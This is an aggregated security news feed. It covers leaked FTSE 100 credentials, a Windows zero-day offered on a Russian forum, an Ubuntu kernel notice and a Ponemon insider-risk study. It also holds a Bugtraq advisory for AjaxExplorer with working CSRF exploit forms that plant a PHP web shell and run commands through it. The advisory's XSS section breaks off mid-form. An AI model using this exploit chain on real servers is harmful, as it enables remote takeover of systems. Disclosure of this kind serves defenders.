Over 5,000 FTSE 100 Log-ins Found on Darknet


FTSE 100 employees are putting their firms at risk by re-using corporate credentials on third party sites, with over 5,000 email and password combinations already compromised, according to Anomali.

The threat intelligence firm tracked the darknet over the past three months to compile its latest report, The FTSE 100: Targeted Brand Attacks and Mass Credential Exposures.

It found 5,275 compromised email and unencrypted password accounts in total, on hacking forums, paste sites and similar – that’s an average of 50 employees at each FTSE 100 firm that have unwittingly exposed their details to cybercriminals.

The credentials were stolen from non-work-related sites in classic data breach incidents. For example, over 40 email/password combinations across 23 companies were compromised in April when a popular UK football site had its database dumped on the darknet, Anomali said.

With this information, black hats could log-in to corporate networks and access, steal and/or tamper with highly sensitive information.

Oil and gas companies accounted for 20% of compromised credentials, which raises the uncomfortable prospect of cybercriminals potentially opening up channels to access SCADA systems.

Jonathan Martin, EMEA operations director at Anomali, argued that many of these firms still aren’t set up to implement two-factor authentication on all enterprise apps – exposing them to this kind of risk.

“Rather, we need to have much greater education of employees on all security matters but particularly around using work emails on non-work related sites,” he told Infosecurity.

“Often, it’s simply a case of people simply not understanding or thinking through the implications of how a compromised work email could be used to launch a range of attacks against both the individual employee as well as others in the organization.”

The report also warned that FTSE 100 firms are at risk from a growing problem of domain spoofing.

Over the past three months, 81 such companies had potentially malicious domain registrations against them, Anomali found.

The majority were registered with Chinese addresses, followed by the US and Panama.

Such domains are used in email-borne phishing attacks, where customers are typically tricked into divulging their personal details because they think they’re interacting with a legitimate firm.

Financial services was the worst hit vertical with 376 suspicious domains found, followed by retail (175) and critical infrastructure (75).

Zero Day Market Goes Mainstream as $95K Windows Flaw Spotted


Security experts have warned that the market for zero days is increasingly going mainstream on the cybercrime underground, after discovering a Windows vulnerability being sold on a Russian online forum for $95,000.

Trustwave’s SpiderLabs research team claimed in a new blog post that zero days “have long been sold in the shadows.”

“In this business you usually need to ‘know people who know people’ in order to buy or sell this kind of commodity. This type of business transaction is conducted in a private manner, meaning either direct contact between a potential buyer and the seller or possibly mediated by a middle man,” it explained.

However, the Trustwave team recently discovered a zero day for sale on a Russian site better known as a forum for hiring malware coders, renting botnets, leasing exploit kits and so on.

“Finding a zero day listed in between these fairly common offerings is definitely an anomaly,” it warned. “It goes to show that zero days are coming out of the shadows and are fast becoming a commodity for the masses, a worrying trend indeed.”

There’s no definite confirmation that the seller is legitimate, but all signs seem to indicate that this zero day is for real.

It’s a Local Privileged Escalation (LPE) flaw in Windows, complete with two videos to prove its authenticity.  

In fact, the seller appears to have made a special effort to appear trustworthy; for example by choosing only to use the site’s admin as escrow.

As Trustwave explained, an LPE bug in itself wouldn’t provide the initial infection vector like a remote code execution flaw, but would nevertheless could be used in almost any scenario as a “very much needed puzzle piece in the overall infection process.”

For IT teams the advice remains to keep all software-up-to-date to stand the best chance of breaking the infection chain: ie there may be no protection from a zero day, but another vulnerability being exploited in an attack may have a patch available.

As always, users should be trained to avoid clicking on suspicious links or opening attachments from unsolicited sources.

Carbon Black chief security strategist, Ben Johnson, argued that zero days are particularly dangerous as most traditional AV relies on the blacklisting of known threats.

“Whitelisting, whereby a threat is assessed against a set of policies and common characteristics to see if there is a likely issue, can help to spot this type of exploit even if it has never appeared before,” he added.

“This should then be combined with broader threat intelligence, where you can see if a particular file has ever been seen before; if it hasn’t, then it is likely to be zero day and hazardous. This allows organizations to get smarter about security and avoid falling into these sort of traps.”

Bugtraq: AjaxExplorer v1.10.3.2 Remote CMD Execution / CSRF / Persistent XSS

Vendor:

http://ift.tt/1WwcIFH

Product:

=======================

AjaxExplorer v1.10.3.2

Manage server files through simple windows like interface.

Vulnerability Type:

=======================

Remote Command Execution

CSRF

Persistent XSS

CVE Reference:

==============

N/A

Vulnerability Details:

=====================

AjaxExplorer has command terminal feature where you can move, copy, delete files etc... also lets a user save commands in a

flat file named "terminal" under their user profile "/http://ift.tt/1O4p99b".

e.g.

copy [FILEPATH + FILENAME] [FILEPATH]

create [FILEPATH + FILENAME]

Since AjaxExplorer also suffers from CSRF vulnerability we can exploit the application by first creating an .htaccess file with an

"allow from all" directive to bypass access restrictions, next create arbitrary PHP files for remote command execution purposes.

This exploit will require two consecutive HTTP requests, so we need to target an iframe to stay on same page until exploit is completed.

Exploit code(s):

===============

1) first POST request creates .htaccess file so we can bypass directory browsing restrictions.

2) second POST writes our remote command execution file we will then access to execute commands on the victim system.

The below P:/ for "strPath" form value is for "Profile"

<iframe name="PWNED" style="display:none" name="hidden-form"></iframe>

<form target="PWNED" id="htaccess" action="http://localhost/AjaxExplorer%201.10.3.2/ajaxexplorer/index.php"

method="post">

<input type="hidden" name="strPage" value="control/file/editor" >

<input type="hidden" name="strPath" value="P:/" >

<input type="hidden" name="strFile" value=".htaccess" >

<input type="hidden" name="strText" value='allow from all' >

<script>document.getElementById('htaccess').submit()</script>

</form>

<form target="PWNED" id="RCE" action="http://localhost/AjaxExplorer%201.10.3.2/ajaxexplorer/index.php"

method="post">

<input type="hidden" name="strPage" value="control/file/editor" >

<input type="hidden" name="strPath" value="P:/" >

<input type="hidden" name="strFile" value="terminal.php" >

<input type="hidden" name="strText" value='<?php exec($_GET["cmd"]);?>' >

<script>document.getElementById('RCE').submit()</script>

</form>

Now we can access and run arbitrary cmds.

http://localhost/AjaxExplorer%201.10.3.2/ajaxexplorer/ae.user/owner/mypr

ofile/terminal.php?cmd=c:\\Windows\\system32\\calc.exe

/////////////////////////////////////////////////////

Here is another way to RCE this application... first create PHP file then edit.

<iframe name="DOOM" style="display:none" name="hidden-form"></iframe>

<form target="DOOM" id="CSRF2" method="post" action="http://localhost/AjaxExplorer%201.10.3.2/ajaxexplorer/index.php"

>

<input type="hidden" name="strPage" value="control/file/editor" />

<input type="hidden" name="strPath" value="D:/" />

<input type="hidden" name="strFile" value="PWNED.php" />

<input type="hidden" name="strText" value="<?php%20exec($_GET['cmd']);%20?>" />

</form>

<form target="DOOM" id="CSRF1" method="post" action="http://localhost/AjaxExplorer%201.10.3.2/ajaxexplorer/index.php"

<input type="hidden" name="strPage" value="control/file/create" />

<input type="hidden" name="strPath" value="D:/" />

<input type="hidden" name="strFile" value="D:/PWNED.php" />

<script>

document.getElementById('CSRF1').submit()

document.getElementById('CSRF2').submit()

</script>

</form>

////////////////////////

Persistent XSS:

================

We can also write persistent XSS payload to the user profile "terminal" file.

<form id="XSS" method="post" action="http://localhost/AjaxExplorer%201.10.3.2/ajaxexplorer/index.php"

>

<input type="hidden" name="strPage" value="control/file/editor" />

USN-2989-1: Linux kernel vulnerabilities

Ubuntu Security Notice USN-2989-1

1st June, 2016

linux vulnerabilities

A security issue affects these releases of Ubuntu and its derivatives:

  • Ubuntu 14.04 LTS

Summary

Several security issues were fixed in the kernel.

Software description

  • linux - Linux kernel

Details

Justin Yackoski discovered that the Atheros L2 Ethernet Driver in the Linux
kernel incorrectly enables scatter/gather I/O. A remote attacker could use
this to obtain potentially sensitive information from kernel memory.
(CVE-2016-2117)

Jason A. Donenfeld discovered multiple out-of-bounds reads in the OZMO USB
over wifi device drivers in the Linux kernel. A remote attacker could use
this to cause a denial of service (system crash) or obtain potentially
sensitive information from kernel memory. (CVE-2015-4004)

Andy Lutomirski discovered a race condition in the Linux kernel's
translation lookaside buffer (TLB) handling of flush events. A local
attacker could use this to cause a denial of service or possibly leak
sensitive information. (CVE-2016-2069)

Ralf Spenneberg discovered that the Linux kernel's GTCO digitizer USB
device driver did not properly validate endpoint descriptors. An attacker
with physical access could use this to cause a denial of service (system
crash). (CVE-2016-2187)

Hector Marco and Ismael Ripoll discovered that the Linux kernel would
improperly disable Address Space Layout Randomization (ASLR) for x86
processes running in 32 bit mode if stack-consumption resource limits were
disabled. A local attacker could use this to make it easier to exploit an
existing vulnerability in a setuid/setgid program. (CVE-2016-3672)

Andrey Konovalov discovered that the CDC Network Control Model USB driver
in the Linux kernel did not cancel work events queued if a later error
occurred, resulting in a use-after-free. An attacker with physical access
could use this to cause a denial of service (system crash). (CVE-2016-3951)

It was discovered that an out-of-bounds write could occur when handling
incoming packets in the USB/IP implementation in the Linux kernel. A remote
attacker could use this to cause a denial of service (system crash) or
possibly execute arbitrary code. (CVE-2016-3955)

Kangjie Lu discovered an information leak in the ANSI/IEEE 802.2 LLC type 2
Support implementations in the Linux kernel. A local attacker could use
this to obtain potentially sensitive information from kernel memory.
(CVE-2016-4485)

Kangjie Lu discovered an information leak in the routing netlink socket
interface (rtnetlink) implementation in the Linux kernel. A local attacker
could use this to obtain potentially sensitive information from kernel
memory. (CVE-2016-4486)

It was discovered that in some situations the Linux kernel did not handle
propagated mounts correctly. A local unprivileged attacker could use this
to cause a denial of service (system crash). (CVE-2016-4581)

Update instructions

The problem can be corrected by updating your system to the following package version:

Ubuntu 14.04 LTS:
linux-image-3.13.0-87-powerpc-e500 3.13.0-87.133
linux-image-3.13.0-87-generic 3.13.0-87.133
linux-image-3.13.0-87-powerpc-smp 3.13.0-87.133
linux-image-3.13.0-87-powerpc-e500mc 3.13.0-87.133
linux-image-3.13.0-87-lowlatency 3.13.0-87.133
linux-image-3.13.0-87-generic-lpae 3.13.0-87.133
linux-image-3.13.0-87-powerpc64-smp 3.13.0-87.133
linux-image-3.13.0-87-powerpc64-emb 3.13.0-87.133

To update your system, please follow these instructions: http://ift.tt/17VXqjU.

After a standard system update you need to reboot your computer to make
all the necessary changes.

ATTENTION: Due to an unavoidable ABI change the kernel updates have
been given a new version number, which requires you to recompile and
reinstall all third party kernel modules you might have installed.
Unless you manually uninstalled the standard kernel metapackages
(e.g. linux-generic, linux-generic-lts-RELEASE, linux-virtual,
linux-powerpc), a standard system upgrade will automatically perform
this as well.

Employee-Related Security Risks Are Addressed in our Latest Ponemon Institute Study

ponemonstudyrelease_annual

What keeps your cyber security team up at night, and does it weigh equally on the minds of managers? Do they lose sleep worrying about malicious attacks from outside your organization? Or do they fear a careless employee will leave a laptop in an unlocked car or use an unsecured personal mobile device to access proprietary company information?

Employee-related security risks are the top concern for security professionals, our new study, Managing Insider Risk Through Training & Culture, found. The Ponemon Institute polled more than 600 information security professionals at companies that have a data protection and privacy training program. The study found that while 55 percent of those surveyed have already had a malicious or negligent employee cause a security incident, few are taking adequate steps to improve security from within.

Not on the same page

One reason for this could be the imbalance between how the IT department perceives employee risk and how the C-suite does. While 66 percent of security professionals view employee-related risk as the biggest security threat, just 35 percent of them say their senior managers share that view. They may also feel less able to catch slip-ups versus intentional acts; security pros are far more concerned that an employee will unintentionally cause an incident than they are about workers potentially perpetrating malicious attacks.

Often, companies focus their cyber security efforts on preventing, catching and remedying intentional attacks. And while they can do much to reduce the risk of employees unintentionally causing an incident, few companies are doing everything they can. Less than half (46 percent) of the surveyed companies require cyber security training for all employees, and 60 percent don’t make employees retrain after a data breach.

Actionable suggestions for teachable moments

The problem of employee-related security risks is not unsolvable. Companies need to take steps to create a culture of security at every level of their organizations. These steps should include:

  • Requiring mandatory advanced-level training for all full and part-time employees and contract workers. Typically, companies that do provide training don’t require it for all employees, or they take a tiered approach that fails to provide all employees with a comprehensive understanding of the risks. Our study found just 43 percent of companies provide only one basic course for all employees. Basic courses often omit significant risks that can lead to a data breach. What’s more, retraining needs to occur on an ongoing basis, as new threats emerge in the cyber security realm. Retraining is especially important following a breach, when employees’ awareness of cyber security risks is highest.
  • Establishing and enforcing a system of carrots and sticks. More than half (56 percent) of companies deal with an employee’s careless handling of data by having that employee meet one-on-one with a superior, and 51 percent have them meet with an IT security person. Less than half (45 percent) give formal reprimands, 19 percent demote the employee, and 16 percent cut salary, bonuses or incentives. However, sticks are only half the solution. Companies also need to incentivize employees to be cognizant of cyber security and few are doing a good job of it. In fact, 67 percent do nothing at all to encourage employees to proactively protect data.

Employees should be a company’s greatest asset. With the right training and an ongoing emphasis on cyber security, every member of your corporate team can help reduce your organization’s risk of a negligence-related cyber security incident.  To download the complimentary report, visit http://bit.ly/22vZ31n.
